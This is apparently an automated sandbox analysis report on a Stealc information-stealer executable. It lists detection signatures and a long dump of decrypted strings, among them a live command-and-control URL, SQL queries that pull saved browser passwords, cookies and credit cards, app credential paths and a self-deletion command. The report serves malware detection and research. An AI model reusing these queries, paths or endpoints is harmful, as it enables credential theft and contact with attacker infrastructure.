Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1546661
MD5: e71c5aee12ee323fc4f40010437d4186
SHA1: 6389bda37cee4ca4724306cfa8a73ff318713de3
SHA256: 05d8c0bf7acbc23d2a49073d4cdde8547526bb55b6893f21c4753cc8800b0a8e
Tags: exeuser-Bitsight
Infos:

Detection

Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Attempt to bypass Chrome Application-Bound Encryption
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Hides threads from debuggers
Machine Learning detection for sample
Monitors registry run keys for changes
PE file contains section with special chars
Sample uses string decryption to hide its real strings
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
AV process strings found (often used to terminate AV products)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Detected non-DNS traffic on DNS port
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Entry point lies outside standard sections
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Found malware configuration
Source: 0.2.file.exe.b60000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 42%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 0.2.file.exe.b60000.0.unpack String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.b60000.0.unpack String decryptor: 30
Source: 0.2.file.exe.b60000.0.unpack String decryptor: 11
Source: 0.2.file.exe.b60000.0.unpack String decryptor: 20
Source: 0.2.file.exe.b60000.0.unpack String decryptor: 24
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetProcAddress
Source: 0.2.file.exe.b60000.0.unpack String decryptor: LoadLibraryA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: lstrcatA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: OpenEventA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CreateEventA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CloseHandle
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Sleep
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.b60000.0.unpack String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.b60000.0.unpack String decryptor: VirtualFree
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetSystemInfo
Source: 0.2.file.exe.b60000.0.unpack String decryptor: VirtualAlloc
Source: 0.2.file.exe.b60000.0.unpack String decryptor: HeapAlloc
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetComputerNameA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: lstrcpyA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetProcessHeap
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetCurrentProcess
Source: 0.2.file.exe.b60000.0.unpack String decryptor: lstrlenA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: ExitProcess
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetSystemTime
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.b60000.0.unpack String decryptor: advapi32.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: gdi32.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: user32.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: crypt32.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: ntdll.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetUserNameA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CreateDCA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetDeviceCaps
Source: 0.2.file.exe.b60000.0.unpack String decryptor: ReleaseDC
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: sscanf
Source: 0.2.file.exe.b60000.0.unpack String decryptor: VMwareVMware
Source: 0.2.file.exe.b60000.0.unpack String decryptor: HAL9TH
Source: 0.2.file.exe.b60000.0.unpack String decryptor: JohnDoe
Source: 0.2.file.exe.b60000.0.unpack String decryptor: DISPLAY
Source: 0.2.file.exe.b60000.0.unpack String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.b60000.0.unpack String decryptor: http://185.215.113.206
Source: 0.2.file.exe.b60000.0.unpack String decryptor: bksvnsj
Source: 0.2.file.exe.b60000.0.unpack String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.b60000.0.unpack String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.b60000.0.unpack String decryptor: tale
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetFileAttributesA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GlobalLock
Source: 0.2.file.exe.b60000.0.unpack String decryptor: HeapFree
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetFileSize
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GlobalSize
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.b60000.0.unpack String decryptor: IsWow64Process
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Process32Next
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetLocalTime
Source: 0.2.file.exe.b60000.0.unpack String decryptor: FreeLibrary
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Process32First
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: DeleteFileA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: FindNextFileA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: LocalFree
Source: 0.2.file.exe.b60000.0.unpack String decryptor: FindClose
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: LocalAlloc
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetFileSizeEx
Source: 0.2.file.exe.b60000.0.unpack String decryptor: ReadFile
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SetFilePointer
Source: 0.2.file.exe.b60000.0.unpack String decryptor: WriteFile
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CreateFileA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: FindFirstFileA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CopyFileA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: VirtualProtect
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetLastError
Source: 0.2.file.exe.b60000.0.unpack String decryptor: lstrcpynA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GlobalFree
Source: 0.2.file.exe.b60000.0.unpack String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GlobalAlloc
Source: 0.2.file.exe.b60000.0.unpack String decryptor: OpenProcess
Source: 0.2.file.exe.b60000.0.unpack String decryptor: TerminateProcess
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.b60000.0.unpack String decryptor: gdiplus.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: ole32.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: bcrypt.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: wininet.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: shlwapi.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: shell32.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: psapi.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SelectObject
Source: 0.2.file.exe.b60000.0.unpack String decryptor: BitBlt
Source: 0.2.file.exe.b60000.0.unpack String decryptor: DeleteObject
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GdiplusStartup
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GdiplusShutdown
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GdipDisposeImage
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GdipFree
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CoUninitialize
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CoInitialize
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CoCreateInstance
Source: 0.2.file.exe.b60000.0.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.b60000.0.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.b60000.0.unpack String decryptor: BCryptDecrypt
Source: 0.2.file.exe.b60000.0.unpack String decryptor: BCryptSetProperty
Source: 0.2.file.exe.b60000.0.unpack String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.b60000.0.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetWindowRect
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetDesktopWindow
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetDC
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CloseWindow
Source: 0.2.file.exe.b60000.0.unpack String decryptor: wsprintfA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CharToOemW
Source: 0.2.file.exe.b60000.0.unpack String decryptor: wsprintfW
Source: 0.2.file.exe.b60000.0.unpack String decryptor: RegQueryValueExA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: RegCloseKey
Source: 0.2.file.exe.b60000.0.unpack String decryptor: RegEnumValueA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CryptUnprotectData
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: ShellExecuteExA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: InternetConnectA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: InternetCloseHandle
Source: 0.2.file.exe.b60000.0.unpack String decryptor: InternetOpenA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: HttpSendRequestA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: InternetReadFile
Source: 0.2.file.exe.b60000.0.unpack String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: StrCmpCA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: StrStrA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: StrCmpCW
Source: 0.2.file.exe.b60000.0.unpack String decryptor: PathMatchSpecA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.b60000.0.unpack String decryptor: RmStartSession
Source: 0.2.file.exe.b60000.0.unpack String decryptor: RmRegisterResources
Source: 0.2.file.exe.b60000.0.unpack String decryptor: RmGetList
Source: 0.2.file.exe.b60000.0.unpack String decryptor: RmEndSession
Source: 0.2.file.exe.b60000.0.unpack String decryptor: sqlite3_open
Source: 0.2.file.exe.b60000.0.unpack String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.b60000.0.unpack String decryptor: sqlite3_step
Source: 0.2.file.exe.b60000.0.unpack String decryptor: sqlite3_column_text
Source: 0.2.file.exe.b60000.0.unpack String decryptor: sqlite3_finalize
Source: 0.2.file.exe.b60000.0.unpack String decryptor: sqlite3_close
Source: 0.2.file.exe.b60000.0.unpack String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.b60000.0.unpack String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.b60000.0.unpack String decryptor: encrypted_key
Source: 0.2.file.exe.b60000.0.unpack String decryptor: PATH
Source: 0.2.file.exe.b60000.0.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: NSS_Init
Source: 0.2.file.exe.b60000.0.unpack String decryptor: NSS_Shutdown
Source: 0.2.file.exe.b60000.0.unpack String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.b60000.0.unpack String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.b60000.0.unpack String decryptor: PK11_Authenticate
Source: 0.2.file.exe.b60000.0.unpack String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.b60000.0.unpack String decryptor: C:\ProgramData\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.b60000.0.unpack String decryptor: browser:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: profile:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: url:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: login:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: password:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Opera
Source: 0.2.file.exe.b60000.0.unpack String decryptor: OperaGX
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Network
Source: 0.2.file.exe.b60000.0.unpack String decryptor: cookies
Source: 0.2.file.exe.b60000.0.unpack String decryptor: .txt
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.b60000.0.unpack String decryptor: TRUE
Source: 0.2.file.exe.b60000.0.unpack String decryptor: FALSE
Source: 0.2.file.exe.b60000.0.unpack String decryptor: autofill
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.b60000.0.unpack String decryptor: history
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.b60000.0.unpack String decryptor: cc
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.b60000.0.unpack String decryptor: name:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: month:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: year:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: card:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Cookies
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Login Data
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Web Data
Source: 0.2.file.exe.b60000.0.unpack String decryptor: History
Source: 0.2.file.exe.b60000.0.unpack String decryptor: logins.json
Source: 0.2.file.exe.b60000.0.unpack String decryptor: formSubmitURL
Source: 0.2.file.exe.b60000.0.unpack String decryptor: usernameField
Source: 0.2.file.exe.b60000.0.unpack String decryptor: encryptedUsername
Source: 0.2.file.exe.b60000.0.unpack String decryptor: encryptedPassword
Source: 0.2.file.exe.b60000.0.unpack String decryptor: guid
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.b60000.0.unpack String decryptor: cookies.sqlite
Source: 0.2.file.exe.b60000.0.unpack String decryptor: formhistory.sqlite
Source: 0.2.file.exe.b60000.0.unpack String decryptor: places.sqlite
Source: 0.2.file.exe.b60000.0.unpack String decryptor: plugins
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Local Extension Settings
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Sync Extension Settings
Source: 0.2.file.exe.b60000.0.unpack String decryptor: IndexedDB
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Opera Stable
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Opera GX Stable
Source: 0.2.file.exe.b60000.0.unpack String decryptor: CURRENT
Source: 0.2.file.exe.b60000.0.unpack String decryptor: chrome-extension_
Source: 0.2.file.exe.b60000.0.unpack String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Local State
Source: 0.2.file.exe.b60000.0.unpack String decryptor: profiles.ini
Source: 0.2.file.exe.b60000.0.unpack String decryptor: chrome
Source: 0.2.file.exe.b60000.0.unpack String decryptor: opera
Source: 0.2.file.exe.b60000.0.unpack String decryptor: firefox
Source: 0.2.file.exe.b60000.0.unpack String decryptor: wallets
Source: 0.2.file.exe.b60000.0.unpack String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.b60000.0.unpack String decryptor: ProductName
Source: 0.2.file.exe.b60000.0.unpack String decryptor: x32
Source: 0.2.file.exe.b60000.0.unpack String decryptor: x64
Source: 0.2.file.exe.b60000.0.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.b60000.0.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.b60000.0.unpack String decryptor: ProcessorNameString
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.b60000.0.unpack String decryptor: DisplayName
Source: 0.2.file.exe.b60000.0.unpack String decryptor: DisplayVersion
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Network Info:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - IP: IP?
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - Country: ISO?
Source: 0.2.file.exe.b60000.0.unpack String decryptor: System Summary:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - HWID:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - OS:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - Architecture:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - UserName:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - Computer Name:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - Local Time:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - UTC:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - Language:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - Keyboards:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - Laptop:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - Running Path:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - CPU:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - Threads:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - Cores:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - RAM:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - Display Resolution:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: - GPU:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: User Agents:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Installed Apps:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: All Users:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Current User:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Process List:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: system_info.txt
Source: 0.2.file.exe.b60000.0.unpack String decryptor: freebl3.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: mozglue.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: msvcp140.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: nss3.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: softokn3.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: vcruntime140.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: \Temp\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: .exe
Source: 0.2.file.exe.b60000.0.unpack String decryptor: runas
Source: 0.2.file.exe.b60000.0.unpack String decryptor: open
Source: 0.2.file.exe.b60000.0.unpack String decryptor: /c start
Source: 0.2.file.exe.b60000.0.unpack String decryptor: %DESKTOP%
Source: 0.2.file.exe.b60000.0.unpack String decryptor: %APPDATA%
Source: 0.2.file.exe.b60000.0.unpack String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.b60000.0.unpack String decryptor: %USERPROFILE%
Source: 0.2.file.exe.b60000.0.unpack String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.b60000.0.unpack String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.b60000.0.unpack String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.b60000.0.unpack String decryptor: %RECENT%
Source: 0.2.file.exe.b60000.0.unpack String decryptor: *.lnk
Source: 0.2.file.exe.b60000.0.unpack String decryptor: files
Source: 0.2.file.exe.b60000.0.unpack String decryptor: \discord\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.b60000.0.unpack String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.b60000.0.unpack String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: key_datas
Source: 0.2.file.exe.b60000.0.unpack String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.b60000.0.unpack String decryptor: map*
Source: 0.2.file.exe.b60000.0.unpack String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.b60000.0.unpack String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.b60000.0.unpack String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Telegram
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Tox
Source: 0.2.file.exe.b60000.0.unpack String decryptor: *.tox
Source: 0.2.file.exe.b60000.0.unpack String decryptor: *.ini
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Password
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: 00000001
Source: 0.2.file.exe.b60000.0.unpack String decryptor: 00000002
Source: 0.2.file.exe.b60000.0.unpack String decryptor: 00000003
Source: 0.2.file.exe.b60000.0.unpack String decryptor: 00000004
Source: 0.2.file.exe.b60000.0.unpack String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Pidgin
Source: 0.2.file.exe.b60000.0.unpack String decryptor: \.purple\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: accounts.xml
Source: 0.2.file.exe.b60000.0.unpack String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.b60000.0.unpack String decryptor: token:
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.b60000.0.unpack String decryptor: SteamPath
Source: 0.2.file.exe.b60000.0.unpack String decryptor: \config\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: ssfn*
Source: 0.2.file.exe.b60000.0.unpack String decryptor: config.vdf
Source: 0.2.file.exe.b60000.0.unpack String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.b60000.0.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.b60000.0.unpack String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.b60000.0.unpack String decryptor: loginusers.vdf
Source: 0.2.file.exe.b60000.0.unpack String decryptor: \Steam\
Source: 0.2.file.exe.b60000.0.unpack String decryptor: sqlite3.dll
Source: 0.2.file.exe.b60000.0.unpack String decryptor: browsers
Source: 0.2.file.exe.b60000.0.unpack String decryptor: done
Source: 0.2.file.exe.b60000.0.unpack String decryptor: soft
Source: 0.2.file.exe.b60000.0.unpack String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.b60000.0.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.b60000.0.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.b60000.0.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.b60000.0.unpack String decryptor: https
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.b60000.0.unpack String decryptor: POST
Source: 0.2.file.exe.b60000.0.unpack String decryptor: HTTP/1.1
Source: 0.2.file.exe.b60000.0.unpack String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.b60000.0.unpack String decryptor: hwid
Source: 0.2.file.exe.b60000.0.unpack String decryptor: build
Source: 0.2.file.exe.b60000.0.unpack String decryptor: token
Source: 0.2.file.exe.b60000.0.unpack String decryptor: file_name
